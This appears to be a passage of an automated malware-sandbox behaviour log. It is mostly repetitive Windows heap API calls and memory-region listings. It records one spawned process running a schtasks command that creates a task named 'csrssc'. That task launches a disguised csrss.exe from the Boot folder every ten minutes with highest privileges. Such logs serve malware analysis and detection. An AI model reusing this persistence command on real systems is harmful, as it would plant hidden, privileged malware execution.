RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25db60) returned 0x20 [0069.402] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25db60 | out: hHeap=0x240000) returned 1 [0069.402] GetProcessHeap () returned 0x240000 [0069.402] GetProcessHeap () returned 0x240000 [0069.402] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e640) returned 1 [0069.402] GetProcessHeap () returned 0x240000 [0069.402] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e640) returned 0xc [0069.402] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e640 | out: hHeap=0x240000) returned 1 [0069.402] GetProcessHeap () returned 0x240000 [0069.403] GetProcessHeap () returned 0x240000 [0069.403] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25db90) returned 1 [0069.403] GetProcessHeap () returned 0x240000 [0069.403] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25db90) returned 0x20 [0069.403] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25db90 | out: hHeap=0x240000) returned 1 [0069.403] GetProcessHeap () returned 0x240000 [0069.403] GetProcessHeap () returned 0x240000 [0069.403] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257b70) returned 1 [0069.404] GetProcessHeap () returned 0x240000 [0069.404] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257b70) returned 0x30 [0069.404] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257b70 | out: hHeap=0x240000) returned 1 [0069.404] GetProcessHeap () returned 0x240000 [0069.404] GetProcessHeap () returned 0x240000 [0069.404] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dbc0) returned 1 [0069.404] GetProcessHeap () returned 0x240000 [0069.404] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dbc0) returned 0x20 [0069.405] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dbc0 | out: hHeap=0x240000) returned 1 [0069.405] GetProcessHeap () returned 0x240000 [0069.405] GetProcessHeap () returned 0x240000 [0069.405] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257bf0) returned 1 [0069.405] GetProcessHeap () returned 0x240000 [0069.405] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257bf0) returned 0x30 [0069.405] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257bf0 | out: hHeap=0x240000) returned 1 [0069.405] GetProcessHeap () returned 0x240000 [0069.405] GetProcessHeap () returned 0x240000 [0069.405] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd40) returned 1 [0069.405] GetProcessHeap () returned 0x240000 [0069.405] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dd40) returned 0x20 [0069.406] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd40 | out: hHeap=0x240000) returned 1 [0069.406] GetProcessHeap () returned 0x240000 [0069.406] GetProcessHeap () returned 0x240000 [0069.406] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e560) returned 1 [0069.406] GetProcessHeap () returned 0x240000 [0069.406] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e560) returned 0x16 [0069.406] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e560 | out: hHeap=0x240000) returned 1 [0069.406] GetProcessHeap () returned 0x240000 [0069.406] GetProcessHeap () returned 0x240000 [0069.406] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd10) returned 1 [0069.406] GetProcessHeap () returned 0x240000 [0069.406] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dd10) returned 0x20 [0069.407] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd10 | out: hHeap=0x240000) returned 1 [0069.407] GetProcessHeap () returned 0x240000 [0069.407] GetProcessHeap () returned 0x240000 [0069.407] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e580) returned 1 [0069.407] GetProcessHeap () returned 0x240000 [0069.407] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e580) returned 0x16 [0069.407] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e580 | out: hHeap=0x240000) returned 1 [0069.407] GetProcessHeap () returned 0x240000 [0069.407] GetProcessHeap () returned 0x240000 [0069.407] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dce0) returned 1 [0069.407] GetProcessHeap () returned 0x240000 [0069.407] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dce0) returned 0x20 [0069.407] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dce0 | out: hHeap=0x240000) returned 1 [0069.407] GetProcessHeap () returned 0x240000 [0069.407] GetProcessHeap () returned 0x240000 [0069.408] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x27a5f0) returned 1 [0069.408] GetProcessHeap () returned 0x240000 [0069.408] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x27a5f0) returned 0x82 [0069.408] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x27a5f0 | out: hHeap=0x240000) returned 1 [0069.408] GetProcessHeap () returned 0x240000 [0069.408] GetProcessHeap () returned 0x240000 [0069.408] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dcb0) returned 1 [0069.408] GetProcessHeap () returned 0x240000 [0069.408] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dcb0) returned 0x20 [0069.409] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dcb0 | out: hHeap=0x240000) returned 1 [0069.409] GetProcessHeap () returned 0x240000 [0069.409] GetProcessHeap () returned 0x240000 [0069.409] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e5c0) returned 1 [0069.409] GetProcessHeap () returned 0x240000 [0069.409] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e5c0) returned 0xe [0069.409] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e5c0 | out: hHeap=0x240000) returned 1 [0069.409] GetProcessHeap () returned 0x240000 [0069.409] GetProcessHeap () returned 0x240000 [0069.409] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc80) returned 1 [0069.409] GetProcessHeap () returned 0x240000 [0069.409] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dc80) returned 0x20 [0069.410] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc80 | out: hHeap=0x240000) returned 1 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e5e0) returned 1 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e5e0) returned 0xc [0069.410] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e5e0 | out: hHeap=0x240000) returned 1 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc50) returned 1 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dc50) returned 0x20 [0069.410] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc50 | out: hHeap=0x240000) returned 1 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e600) returned 1 [0069.410] GetProcessHeap () returned 0x240000 [0069.410] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e600) returned 0xe [0069.411] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e600 | out: hHeap=0x240000) returned 1 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc20) returned 1 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dc20) returned 0x20 [0069.411] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dc20 | out: hHeap=0x240000) returned 1 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e620) returned 1 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e620) returned 0x10 [0069.411] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e620 | out: hHeap=0x240000) returned 1 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dbf0) returned 1 [0069.411] GetProcessHeap () returned 0x240000 [0069.411] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dbf0) returned 0x20 [0069.412] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dbf0 | out: hHeap=0x240000) returned 1 [0069.412] GetProcessHeap () returned 0x240000 [0069.412] GetProcessHeap () returned 0x240000 [0069.412] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70) returned 1 [0069.412] GetProcessHeap () returned 0x240000 [0069.412] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba70) returned 0x18 [0069.412] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0069.412] GetProcessHeap () returned 0x240000 [0069.412] GetProcessHeap () returned 0x240000 [0069.412] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255aa0) returned 1 [0069.412] GetProcessHeap () returned 0x240000 [0069.412] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255aa0) returned 0x20 [0069.412] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255aa0 | out: hHeap=0x240000) returned 1 [0069.460] GetProcessHeap () returned 0x240000 [0069.460] GetProcessHeap () returned 0x240000 [0069.460] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ad0) returned 1 [0069.460] GetProcessHeap () returned 0x240000 [0069.460] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ad0) returned 0x20 [0069.460] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ad0 | out: hHeap=0x240000) returned 1 [0069.460] GetProcessHeap () returned 0x240000 [0069.461] GetProcessHeap () returned 0x240000 [0069.461] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b00) returned 1 [0069.461] GetProcessHeap () returned 0x240000 [0069.461] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b00) returned 0x20 [0069.461] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b00 | out: hHeap=0x240000) returned 1 [0069.461] GetProcessHeap () returned 0x240000 [0069.461] GetProcessHeap () returned 0x240000 [0069.461] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b30) returned 1 [0069.461] GetProcessHeap () returned 0x240000 [0069.461] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b30) returned 0x20 [0069.462] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b30 | out: hHeap=0x240000) returned 1 [0069.462] GetProcessHeap () returned 0x240000 [0069.462] GetProcessHeap () returned 0x240000 [0069.462] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90) returned 1 [0069.462] GetProcessHeap () returned 0x240000 [0069.462] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba90) returned 0x18 [0069.462] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0069.462] GetProcessHeap () returned 0x240000 [0069.462] GetProcessHeap () returned 0x240000 [0069.462] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b60) returned 1 [0069.462] GetProcessHeap () returned 0x240000 [0069.462] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b60) returned 0x20 [0069.462] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b60 | out: hHeap=0x240000) returned 1 [0069.462] GetProcessHeap () returned 0x240000 [0069.462] GetProcessHeap () returned 0x240000 [0069.462] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255bf0) returned 1 [0069.462] GetProcessHeap () returned 0x240000 [0069.463] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255bf0) returned 0x20 [0069.463] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255bf0 | out: hHeap=0x240000) returned 1 [0069.463] GetProcessHeap () returned 0x240000 [0069.463] GetProcessHeap () returned 0x240000 [0069.463] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c50) returned 1 [0069.463] GetProcessHeap () returned 0x240000 [0069.463] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c50) returned 0x20 [0069.463] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c50 | out: hHeap=0x240000) returned 1 [0069.463] GetProcessHeap () returned 0x240000 [0069.463] GetProcessHeap () returned 0x240000 [0069.463] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255cb0) returned 1 [0069.463] GetProcessHeap () returned 0x240000 [0069.463] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255cb0) returned 0x20 [0069.464] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255cb0 | out: hHeap=0x240000) returned 1 [0069.464] GetProcessHeap () returned 0x240000 [0069.464] GetProcessHeap () returned 0x240000 [0069.464] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ce0) returned 1 [0069.464] GetProcessHeap () returned 0x240000 [0069.465] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ce0) returned 0x20 [0069.465] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ce0 | out: hHeap=0x240000) returned 1 [0069.466] GetProcessHeap () returned 0x240000 [0069.466] GetProcessHeap () returned 0x240000 [0069.466] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bab0) returned 1 [0069.466] GetProcessHeap () returned 0x240000 [0069.466] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bab0) returned 0x18 [0069.466] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bab0 | out: hHeap=0x240000) returned 1 [0069.466] GetProcessHeap () returned 0x240000 [0069.466] GetProcessHeap () returned 0x240000 [0069.466] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c20) returned 1 [0069.466] GetProcessHeap () returned 0x240000 [0069.466] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c20) returned 0x20 [0069.467] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c20 | out: hHeap=0x240000) returned 1 [0069.467] GetProcessHeap () returned 0x240000 [0069.467] GetProcessHeap () returned 0x240000 [0069.467] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba30) returned 1 [0069.467] GetProcessHeap () returned 0x240000 [0069.467] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba30) returned 0x18 [0069.467] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba30 | out: hHeap=0x240000) returned 1 [0069.467] exit (_Code=0) Thread: id = 129 os_tid = 0xf8c Process: id = "25" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3cd42000" os_pid = "0xf90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2679 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2680 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2681 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2682 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2683 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2684 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2685 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2686 start_va = 0xff3d0000 end_va = 0xff417fff monitored = 1 entry_point = 0xff3f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2687 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2688 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2689 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2690 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2691 start_va = 0xe0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2692 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2693 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2694 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2695 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2696 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2697 start_va = 0x230000 end_va = 0x296fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2698 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2699 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2700 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2701 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2702 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2703 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2704 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2705 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2706 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2707 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2708 start_va = 0x2a0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2709 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2710 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2711 start_va = 0x130000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2712 start_va = 0x400000 end_va = 0x587fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 2713 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2714 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2715 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2716 start_va = 0x590000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 2717 start_va = 0x720000 end_va = 0x1b1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 2718 start_va = 0xe0000 end_va = 0xf1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2719 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2720 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2721 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2722 start_va = 0x1b20000 end_va = 0x1deefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2723 start_va = 0x1df0000 end_va = 0x1e6cfff monitored = 0 entry_point = 0x1dfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2724 start_va = 0x1df0000 end_va = 0x1e6cfff monitored = 0 entry_point = 0x1dfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2725 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2726 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2727 start_va = 0x1df0000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 2728 start_va = 0x1eb0000 end_va = 0x1f8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 2729 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2730 start_va = 0x2140000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 2731 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2732 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2733 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2734 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2735 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2736 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2737 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = 